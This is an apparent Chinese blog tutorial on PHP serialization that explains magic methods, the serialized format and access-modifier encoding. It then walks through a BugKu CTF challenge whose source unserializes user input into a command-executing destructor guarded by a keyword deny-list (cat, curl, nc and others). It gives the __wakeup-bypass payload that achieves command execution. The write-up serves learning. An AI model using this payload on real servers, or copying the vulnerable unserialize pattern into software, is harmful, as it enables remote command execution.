前言

本篇文章讲述php序列化和反序列化的知识,写的内容也是参考了一些大佬的文章再加上自己的理解,同时结合我在做题中遇到的题目来叙述,如有错误的地方欢迎大佬们指正。

正文

序列化:将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
反序列化:就是在适当的时候把这个字符串再转化成原来的对象。

序列化中常见的魔法函数:

1
2
3
4
5
__construct()创建对象时调用
__destruct()销毁对象时调用
__toString()把对象转换为字符串,打印一个对象时被调用
__sleep()在序列化前被调用,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup()将在序列化之后立即被调用

先看一下序列化的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Test{
public $data;
private $any;

public function __construct($data,$any){
$this->data = $data;
$this->any = $any;
}
}

$nubmber = 123;
$str = 'test';
$bool = true;
$arr = array('a' => 1,'b' => 2);
$Object = new Test("object",true);

var_dump(serialize($nubmber));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($arr));
var_dump(serialize($Object));
================================================================================================
输出结果:
string(6) "i:123;" i代表数字
string(11) "s:4:"test";" s代表字符串
string(4) "b:1;" b代表bool
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}" a代表数组
string(59) "O:4:"Test":2:{s:4:"data";s:6:"object";s:9:" Test any";b:1;}"
O代表对象;4代表类名Test占4个字符;Test:类名;2代表类中有两个属性;s代表字符串;4代表属性长度;data:属性名;
s:6:"object";:属性类型(字符串) 属性值长度 属性值
序列化后的对象的第二个属性跟第一个不一样是因为第二个属性是私有属性,下面会详细讲解

访问控制修饰符
如果访问控制修饰符不同,序列化后的属性长度和属性值也会有所不同

public(共有)
protect(受保护)
private(私有)
protected属性被序列化的时候属性值会变成:%00*%00属性名
private属性被序列化的时候属性值会变成:%00类名%00属性名(可是运行结果用空格代替了%00,这一点我也不清楚,因为%00是ASCII转url编码以后对应的空字符吧,还请大佬解答一下)

绕过 __wakeup() 函数

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

下面结合真题讲解一下,题目为BugKu的Web安慰奖,先看一下题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}

function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>

可以看出传入的username参数值必须为admin,但是它用wakeup函数重新给参数赋值了guest,这里我们直接跳过wakeup函数就行了。
原本对应的序列化后的对象为:

1
O:3:"ctf":2:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}

绕过__wakeup()的payload:

1
2
3
O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
#这个题目里面的对象属性是受保护属性,根据对应的规则修改就可以了
因为对象里面只有两个属性,对应的属性个数为2,所以我们只需要需改属性个数值大于2就行了

结语

本人菜鸟一枚,文章中定会有不足之处,还请各位师傅指正,也希望师傅们能解答本文中的疑惑,感谢支持。